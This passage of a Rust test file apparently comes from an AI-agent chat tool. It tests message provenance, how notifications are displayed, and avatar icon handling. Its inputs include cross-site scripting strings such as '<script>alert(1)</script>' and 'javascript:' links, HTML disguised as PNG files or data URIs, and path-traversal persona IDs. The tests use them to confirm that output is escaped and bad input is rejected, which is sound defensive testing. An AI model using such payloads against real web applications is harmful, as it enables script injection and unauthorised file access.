14856 assert_eq!(view.talk.implementers, 3);
14857 assert!(talks.get(&id).expect("reload").implementers_dirty);
14858 assert!(!view.thinking);
14859 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14860 for n in [1, 2, 3] {
14861 let Json(view) = call(n).await.expect("immediate consecutive change");
14862 assert_eq!(view.talk.implementers, n);
14863 assert!(!view.thinking);
14864 assert!(!ui.is_thinking(&id));
14865 }
14866
14867 let mut closed = talks.get(&id).expect("reload");
14868 talk::close(&mut closed, &talks).expect("close");
14869 let e = call(2).await.expect_err("closed talk");
14870 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14871 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14872 }
14873
14874 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14876 let tmp = TempDir::new().expect("tempdir");
14877 let repo = tmp.path().join("repo");
14878 std::fs::create_dir_all(&repo).expect("repo dir");
14879 std::fs::write(
14880 repo.join("magi.toml"),
14881 format!("{MOCK_AGENT_TOML}\n{extra}"),
14882 )
14883 .expect("write magi.toml");
14884 let home = TempDir::new().expect("temp home");
14885 let talks = Talks::at(home.path().join("talks"));
14886 let ui = Arc::new(
14887 Ui::new(
14888 Queue::at(home.path().join("queue")),
14889 Questions::at(home.path().join("questions")),
14890 talks.clone(),
14891 home.path().join("runs"),
14892 home.path().to_path_buf(),
14893 repo.clone(),
14894 )
14895 .with_worktrees_root(home.path().join("wt")),
14896 );
14897 let cfg = config_for(&repo).await.expect("discover config");
14898 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14899 (tmp, home, ui, talk.id, repo)
14900 }
14901
14902 #[tokio::test]
14903 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14904 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14905 let mut conversation = ui.talks.get(&id).unwrap();
14906 talk::record(
14907 &mut conversation,
14908 &ui.talks,
14909 "# Update on a task you filed\noperator words",
14910 vec![],
14911 )
14912 .unwrap();
14913 conversation.turns[0].sender = None;
14915 conversation.turns[0].messages.clear();
14916 ui.talks.put(&mut conversation).unwrap();
14917 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14918 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14919 talk::drain(&mut conversation, &ui.talks).unwrap();
14920 talk::record_reply(
14921 &mut conversation,
14922 &ui.talks,
14923 "about that report",
14924 vec![],
14925 Some(talk::ReplyTarget {
14926 turn: 1,
14927 message: 1,
14928 }),
14929 )
14930 .unwrap();
14931 conversation.turns[2].messages[0]
14932 .reply
14933 .as_mut()
14934 .unwrap()
14935 .sender = None;
14936 conversation.turns.push(talk::Turn {
14937 sender: Some(talk::Sender::Persona),
14938 who: talk::Who::Agent,
14939 body: "magi: actual persona words".into(),
14940 at: Timestamp::now(),
14941 attachments: vec![],
14942 usage: None,
14943 breaks: None,
14944 messages: vec![],
14945 posted_by: None,
14946 });
14947 ui.talks.put(&mut conversation).unwrap();
14948 let view = TalkView::with_config(
14949 ui.talks.get(&id).unwrap(),
14950 false,
14951 None,
14952 &ui.home,
14953 &ui.references,
14954 );
14955 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14956 assert_eq!(
14957 view.talk.turns[1].messages[0].sender,
14958 Some(talk::Sender::Operator)
14959 );
14960 assert_eq!(
14961 view.talk.turns[1].messages[1].sender,
14962 Some(talk::Sender::Magi)
14963 );
14964 assert_eq!(
14965 view.talk.turns[2].messages[0]
14966 .reply
14967 .as_ref()
14968 .unwrap()
14969 .sender,
14970 Some(talk::Sender::Magi)
14971 );
14972 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14973 assert_eq!(view.turn_messages_md[0].len(), 1);
14974 assert!(view.turn_messages_md[0][0].is_none());
14975 assert!(view.turn_messages_md[1][0].is_none());
14976 assert!(view.turn_messages_md[1][1].is_some());
14977 }
14978
14979 #[tokio::test]
14980 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14981 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14982 let mut conversation = ui.talks.get(&id).unwrap();
14983 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14984 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14985 talk::queue_notice(
14986 &mut conversation,
14987 &ui.talks,
14988 &body,
14989 "watch:123",
14990 &|_| false,
14991 None,
14992 display.clone(),
14993 )
14994 .unwrap();
14995 assert!(
14996 !talk::queue_notice(
14997 &mut conversation,
14998 &ui.talks,
14999 &body,
15000 "watch:123",
15001 &|_| false,
15002 None,
15003 display.clone()
15004 )
15005 .unwrap()
15006 );
15007 let saved = ui.talks.get(&id).unwrap();
15008 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15009 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15010 assert!(
15011 view.talk.turns[0].messages[0].display.is_none(),
15012 "operator copy stays literal"
15013 );
15014 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15015 assert!(view.turn_messages_md[0][0].is_none());
15016 let queued_md = view.pending_messages_md[0].clone();
15017 assert_eq!(
15018 queued_md,
15019 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15020 );
15021 talk::drain(&mut conversation, &ui.talks).unwrap();
15022 talk::record_reply(
15023 &mut conversation,
15024 &ui.talks,
15025 "Explain",
15026 vec![],
15027 Some(talk::ReplyTarget {
15028 turn: 1,
15029 message: 0,
15030 }),
15031 )
15032 .unwrap();
15033 let mut saved = ui.talks.get(&id).unwrap();
15034 assert_eq!(saved.turns[1].messages[0].body, body);
15035 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15036 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15037 assert!(!reply.excerpt.contains("automatic report"));
15038 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
15041 let view = TalkView::with_config(
15042 ui.talks.get(&id).unwrap(),
15043 false,
15044 None,
15045 &ui.home,
15046 &ui.references,
15047 );
15048 assert_eq!(view.turn_messages_md[1][0], queued_md);
15049 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15050 assert!(
15051 !view.talk.turns[2].messages[0]
15052 .reply
15053 .as_ref()
15054 .unwrap()
15055 .excerpt
15056 .contains("automatic report")
15057 );
15058 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15059 }
15060
15061 #[tokio::test]
15062 async fn consultation_display_hides_directives_in_queue_and_history() {
15063 for node in [
15064 "implement",
15065 crate::land::APPROVAL_NODE,
15066 crate::github_text::ASK_NODE,
15067 ] {
15068 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15069 let mut question = Question::new(
15070 "run-123".into(),
15071 node.into(),
15072 "seat-1".into(),
15073 "Which backend?".into(),
15074 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15075 vec!["SQLite".into(), "Redis".into()],
15076 );
15077 ui.questions.put(&mut question).unwrap();
15078 let body = crate::prompt::chat_consult(&question);
15079 let mut conversation = ui.talks.get(&id).unwrap();
15080 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15081 assert!(
15082 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15083 );
15084 conversation = ui.talks.get(&id).unwrap();
15085 assert_eq!(conversation.pending_messages[0].body, body);
15086 assert!(body.contains("magi answer"));
15087 let mut legacy_pending = conversation.clone();
15088 legacy_pending.pending_messages[0].display = None;
15089 let legacy_view =
15090 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15091 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15092 assert!(legacy_md.contains("Question consultation"));
15093 assert!(!legacy_md.contains("magi answer"));
15094 let view =
15095 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15096 assert!(
15097 view.turn_messages_md[0][0].is_none(),
15098 "operator copy stays literal"
15099 );
15100 let queued_md = view.pending_messages_md[0].clone().unwrap();
15101 let rendered = serde_json::to_string(&queued_md).unwrap();
15102 for visible in [
15103 "Which backend?",
15104 "Context",
15105 "storage",
15106 "SQLite",
15107 "Redis",
15108 "<script>literal</script>",
15109 ] {
15110 assert!(rendered.contains(visible), "missing {visible}");
15111 }
15112 for directive in [
15113 "What to do",
15114 "magi answer",
15115 "Never answer it yourself",
15116 "Do not edit the repository",
15117 ] {
15118 assert!(!rendered.contains(directive), "exposed {directive}");
15119 }
15120 assert_eq!(
15121 view.talk.pending_messages[0].display,
15122 Some(crate::prompt::chat_consult_display(&question))
15123 );
15124 talk::drain(&mut conversation, &ui.talks).unwrap();
15125 let view =
15126 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15127 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15128 assert_eq!(conversation.turns[1].messages[0].body, body);
15129
15130 conversation.turns[1].messages[0].display = None;
15133 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15134 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15135 assert!(legacy.contains("Question consultation"));
15136 assert!(!legacy.contains("magi answer"));
15137 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15138 }
15139 }
15140
15141 #[test]
15142 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15143 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15144 let (body, mut display) =
15145 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15146 display.facts = facts.into();
15147 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15148 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15149 let json = serde_json::to_string(&nodes).unwrap();
15150 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15151 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15152 }
15153 assert!(json.contains("<script>alert(1)</script>"));
15154 assert!(!json.contains("javascript:"));
15155 assert!(!json.contains("Tell the operator"));
15156 assert!(!json.contains("untrusted"));
15157 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15158 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15159 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15160 assert_eq!(
15161 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15162 md::to_nodes("# Status", &md::ImageBase::None),
15163 );
15164 }
15165
15166 #[tokio::test]
15167 async fn notification_display_recovers_exact_legacy_completion_references() {
15168 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15169 let mut conversation = ui.talks.get(&id).unwrap();
15170 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15171 id: "task-123",
15172 title: "Change",
15173 status: "done",
15174 reason: None,
15175 run: Some("run-123"),
15176 pr: None,
15177 summary: Some("Merge state unknown"),
15178 });
15179 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15180 conversation.turns[0].sender = None;
15181 conversation.turns[0].messages.clear();
15182 conversation.turns[0].breaks = None;
15183 conversation.pending = body.clone();
15184 conversation
15185 .completion_notices
15186 .push(crate::chat_notify::CompletionReference {
15187 task: "task-123".into(),
15188 run: Some("run-123".into()),
15189 notice: body.clone(),
15190 });
15191 ui.talks.put(&mut conversation).unwrap();
15192 let view = TalkView::with_config(
15193 ui.talks.get(&id).unwrap(),
15194 false,
15195 None,
15196 &ui.home,
15197 &ui.references,
15198 );
15199 assert_eq!(
15200 view.talk.turns[0].messages[0].display,
15201 Some(display.clone())
15202 );
15203 assert_eq!(view.talk.pending_messages[0].display, Some(display));
15204 assert_eq!(
15205 view.talk.turns[0].messages[0].sender,
15206 Some(talk::Sender::Magi)
15207 );
15208 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15209 conversation.completion_notices[0]
15210 .notice
15211 .push_str("different");
15212 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15213 assert!(view.talk.turns[0].messages.is_empty());
15214 assert!(view.talk.pending_messages.is_empty());
15215 }
15216
15217 #[tokio::test]
15218 async fn avatar_settings_report_states_and_inherit_after_corruption() {
15219 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15220 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15221 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15222 ))
15223 .await;
15224 let path = avatar_setting_path(home.path(), Some("rei"));
15225 let orphan = avatar_setting_path(home.path(), Some("removed"));
15226 save_icon_file(&orphan, icon).unwrap();
15227 for (saved, expected) in [
15228 (icon, "custom"),
15229 ("builtin", "builtin"),
15230 ("data:image/png;base64,!!!!", "inherit"),
15231 ("data:image/png;base64,PGh0bWw+", "inherit"),
15232 ("/tmp/avatar.png", "inherit"),
15233 ] {
15234 atomic_icon_write(&path, saved).unwrap();
15235 let catalog =
15236 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15237 .await
15238 .unwrap()
15239 .0;
15240 let personas = catalog["personas"].as_array().unwrap();
15241 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15242 assert_eq!(rei["override_state"], expected);
15243 assert_eq!(rei["has_config_icon"], true);
15244 assert_eq!(rei["is_orphan"], false);
15245 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15246 assert_eq!(removed["override_state"], "custom");
15247 assert_eq!(removed["is_orphan"], true);
15248 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15249 assert_eq!(default["override_state"], "inherit");
15250 assert_eq!(default["has_config_icon"], false);
15251 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15252 assert_eq!(
15253 effective.as_deref(),
15254 Some(if expected == "builtin" { "" } else { icon })
15255 );
15256 }
15257 }
15258
15259 #[tokio::test]
15260 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15261 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15262 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15263 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15264 ))
15265 .await;
15266 let target = |id: Option<&str>| AvatarSettingsQuery {
15267 persona: id.map(str::to_owned),
15268 ..Default::default()
15269 };
15270 let original_config = config_for(&repo).await.unwrap();
15271 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15272 let original_prompt = persona::section_for(&original_persona, None);
15273 let before = talk_detail(State(ui.clone()), Path(id.clone()))
15274 .await
15275 .unwrap()
15276 .0;
15277 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15278 let _ = avatar_settings_put(
15279 State(ui.clone()),
15280 Query(target(persona)),
15281 Json(MagiIconUpload { icon: icon.into() }),
15282 )
15283 .await
15284 .unwrap();
15285 let path = avatar_setting_path(home.path(), persona);
15286 assert!(path.starts_with(home.path().join("avatars")));
15287 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15288 for bad in [
15289 "/tmp/image.png".to_owned(),
15290 "data:image/png;base64,!!!!".to_owned(),
15291 "data:image/png;base64,PGh0bWw+".to_owned(),
15292 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15293 format!(
15294 "data:image/png;base64,{}",
15295 "A".repeat(persona_icon::ICON_MAX_BYTES)
15296 ),
15297 ] {
15298 assert!(
15299 avatar_settings_put(
15300 State(ui.clone()),
15301 Query(target(persona)),
15302 Json(MagiIconUpload { icon: bad })
15303 )
15304 .await
15305 .is_err()
15306 );
15307 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15308 }
15309 }
15310 assert!(read_magi_icon(home.path()).is_none());
15311 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15312 let after = talk_detail(State(ui.clone()), Path(id.clone()))
15313 .await
15314 .unwrap()
15315 .0;
15316 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15317 assert_ne!(
15318 before
15319 .personas
15320 .iter()
15321 .find(|p| p.id == "magi")
15322 .unwrap()
15323 .avatar,
15324 after
15325 .personas
15326 .iter()
15327 .find(|p| p.id == "magi")
15328 .unwrap()
15329 .avatar
15330 );
15331 let restarted = Arc::new(Ui::new(
15332 Queue::at(home.path().join("queue")),
15333 Questions::at(home.path().join("questions")),
15334 Talks::at(home.path().join("talks")),
15335 home.path().join("runs"),
15336 home.path().to_owned(),
15337 repo,
15338 ));
15339 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15340 .await
15341 .unwrap()
15342 .0;
15343 assert!(
15344 catalog["personas"]
15345 .as_array()
15346 .unwrap()
15347 .iter()
15348 .any(|p| p["id"] == "../custom/日本語")
15349 );
15350 for expected in ["custom", "default", "rei"] {
15351 assert!(
15352 catalog["personas"]
15353 .as_array()
15354 .unwrap()
15355 .iter()
15356 .any(|p| p["id"] == expected)
15357 );
15358 }
15359 let response =
15360 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15361 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15362 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15363 .await
15364 .unwrap();
15365 assert_eq!(
15366 effective_persona_icon(home.path(), "rei", Some(icon)),
15367 Some(String::new())
15368 );
15369 let response = talk_avatar(
15370 State(restarted.clone()),
15371 Path(id.clone()),
15372 Query(AvatarQuery {
15373 persona: Some("rei".into()),
15374 ..Default::default()
15375 }),
15376 )
15377 .await
15378 .unwrap();
15379 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15380 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15381 .await
15382 .unwrap()
15383 .0;
15384 assert_ne!(
15385 after
15386 .personas
15387 .iter()
15388 .find(|p| p.id == "rei")
15389 .unwrap()
15390 .avatar,
15391 reset
15392 .personas
15393 .iter()
15394 .find(|p| p.id == "rei")
15395 .unwrap()
15396 .avatar
15397 );
15398 let mut inherit = target(Some("rei"));
15399 inherit.inherit = Some("1".into());
15400 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15401 .await
15402 .unwrap();
15403 assert_eq!(
15404 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15405 Some(icon)
15406 );
15407 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15408 .await
15409 .unwrap();
15410 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15411 assert_eq!(
15412 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15413 Some(icon)
15414 );
15415 let cfg = config_for(&ui.repo).await.unwrap();
15417 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15418 assert_eq!(persona::section_for(&resolved, None), original_prompt);
15419 assert!(!original_prompt.contains("data:image"));
15420 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15421 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15422 assert!(!stored.contains("data:image"));
15423 let mut orphan = ui.talks.get(&id).unwrap();
15424 orphan.persona = "../custom/日本語".into();
15425 let view = TalkView::with_config(
15426 orphan,
15427 false,
15428 Some(&cfg),
15429 home.path(),
15430 &id_links::IndexCache::default(),
15431 );
15432 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15433 }
15434
15435 #[tokio::test]
15436 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15437 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15438 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15439 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15440 let _ = magi_icon_put(
15441 State(ui.clone()),
15442 Json(MagiIconUpload { icon: icon.into() }),
15443 )
15444 .await
15445 .unwrap();
15446 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15447 assert_ne!(original, changed);
15448 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15449 let response = magi_avatar(
15450 State(ui.clone()),
15451 Query(AvatarQuery {
15452 persona: None,
15453 builtin: None,
15454 }),
15455 )
15456 .await;
15457 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15458 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15459 assert_eq!(
15460 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15461 "nosniff"
15462 );
15463 for bad in [
15464 "data:image/png;base64,PGh0bWw+".to_owned(),
15465 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15466 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15467 ] {
15468 assert!(save_magi_icon(home.path(), &bad).is_err());
15469 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15470 }
15471 let restarted = Arc::new(Ui::new(
15473 Queue::at(home.path().join("queue")),
15474 Questions::at(home.path().join("questions")),
15475 Talks::at(home.path().join("talks")),
15476 home.path().join("runs"),
15477 home.path().to_path_buf(),
15478 repo,
15479 ));
15480 assert_eq!(
15481 magi_icon_get(State(restarted.clone())).await.0["avatar"],
15482 changed
15483 );
15484 let view = TalkView::with_config(
15485 restarted.talks.get(&id).unwrap(),
15486 false,
15487 None,
15488 &restarted.home,
15489 &restarted.references,
15490 );
15491 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15492 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15493 let response = magi_avatar(
15494 State(ui.clone()),
15495 Query(AvatarQuery {
15496 persona: None,
15497 builtin: None,
15498 }),
15499 )
15500 .await;
15501 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15502 .await
15503 .unwrap();
15504 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15505 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15506 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15507 let _ = magi_icon_delete(State(ui)).await.unwrap();
15508 }
15509
15510 async fn avatar(
15512 ui: &Arc<Ui>,
15513 id: &str,
15514 persona: Option<&str>,
15515 builtin: bool,
15516 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15517 let res = talk_avatar(
15518 State(Arc::clone(ui)),
15519 Path(id.to_owned()),
15520 Query(AvatarQuery {
15521 persona: persona.map(str::to_owned),
15522 builtin: builtin.then(|| "1".to_owned()),
15523 }),
15524 )
15525 .await
15526 .expect("an avatar is never an error response");
15527 let h = res.headers();
15528 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15529 let nosniff = h
15530 .get(header::X_CONTENT_TYPE_OPTIONS)
15531 .is_some_and(|v| v == "nosniff");
15532 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15533 let status = res.status();
15534 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15535 .await
15536 .expect("body")
15537 .to_vec();
15538 (status, ct, nosniff, csp, body)
15539 }
15540
15541 fn tiny_png() -> Vec<u8> {
15542 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15543 b.extend_from_slice(&[0u8; 32]);
15544 b
15545 }
15546
15547 #[tokio::test]
15548 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15549 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15550 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15551 assert_eq!(res.status(), StatusCode::OK);
15552 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15553 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15554 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15555 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15556 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15557 .await
15558 .unwrap();
15559 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15560 assert_ne!(
15561 persona_icon::operator_svg(),
15562 persona_icon::builtin_svg("default")
15563 );
15564 }
15565
15566 #[tokio::test]
15567 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15568 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15569 for p in [
15570 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15571 ] {
15572 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15573 assert_eq!(status, StatusCode::OK, "{p}");
15574 assert_eq!(ct, "image/svg+xml", "{p}");
15575 assert!(nosniff && csp, "{p}");
15576 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15577 }
15578 let own = avatar(&ui, &id, None, false).await;
15580 let default = avatar(&ui, &id, Some("default"), false).await;
15581 assert_eq!(own.4, default.4);
15582 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15583 assert_eq!(unknown.1, "image/svg+xml");
15584 }
15585
15586 #[tokio::test]
15587 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15588 let dir = TempDir::new().expect("icons");
15589 let good = dir.path().join("good.png");
15590 std::fs::write(&good, tiny_png()).unwrap();
15591 let spoof = dir.path().join("spoof.png");
15592 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15593 let big = dir.path().join("big.png");
15594 let mut bytes = tiny_png();
15595 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15596 std::fs::write(&big, bytes).unwrap();
15597 let missing = dir.path().join("missing.png");
15598 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15599 let extra = format!(
15600 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15601 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15602 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15603 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15604 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15605 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15606 uri(&good),
15607 uri(&spoof),
15608 uri(&big),
15609 uri(&missing),
15610 );
15611 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15612
15613 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15614 assert_eq!(
15615 (status, ct.as_str(), nosniff),
15616 (StatusCode::OK, "image/png", true)
15617 );
15618 assert_eq!(body, tiny_png());
15619 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15620 assert_eq!(ct, "image/png", "data URI");
15621
15622 for p in ["misato", "asuka", "shinji", "magi"] {
15623 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15624 assert_eq!(
15625 (status, ct.as_str(), csp),
15626 (StatusCode::OK, "image/svg+xml", true),
15627 "{p}"
15628 );
15629 assert!(body.starts_with(b"<svg"), "{p}");
15630 }
15631 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15633 assert_eq!(ct, "image/svg+xml");
15634 }
15635
15636 #[tokio::test]
15637 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15638 let oversized = format!(
15639 "data:image/png;base64,{}",
15640 "A".repeat(persona_icon::ICON_MAX_BYTES)
15641 );
15642 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15643 let extra = format!(
15644 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15645 );
15646 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15647 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15648 .await
15649 .expect("detail with invalid icon");
15650 assert!(detail.personas.iter().any(|p| p.id == "custom"));
15651 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15652 assert_eq!(status, StatusCode::OK);
15653 assert_eq!(ct, "image/svg+xml");
15654 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15655 let Json(view) = talk_persona(
15656 State(Arc::clone(&ui)),
15657 Path(id.clone()),
15658 Json(TalkPersona {
15659 persona: "custom".into(),
15660 }),
15661 )
15662 .await
15663 .expect("persona switch with invalid icon");
15664 assert_eq!(view.talk.persona, "custom");
15665 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15666 }
15667 }
15668
15669 #[tokio::test]
15670 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15671 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15672 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15673 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15674 assert_eq!(
15675 (status, ct.as_str(), nosniff, csp),
15676 (StatusCode::OK, "image/svg+xml", true, true)
15677 );
15678 }
15679
15680 #[tokio::test]
15681 async fn the_talk_view_carries_server_built_avatar_urls_only() {
15682 let (_t, _h, ui, id, _repo) =
15683 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15684 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15685 .await
15686 .expect("detail");
15687 let json = serde_json::to_string(&detail).unwrap();
15688 assert!(
15689 !json.contains("secret"),
15690 "the icon setting must not leak: {json}"
15691 );
15692 assert!(
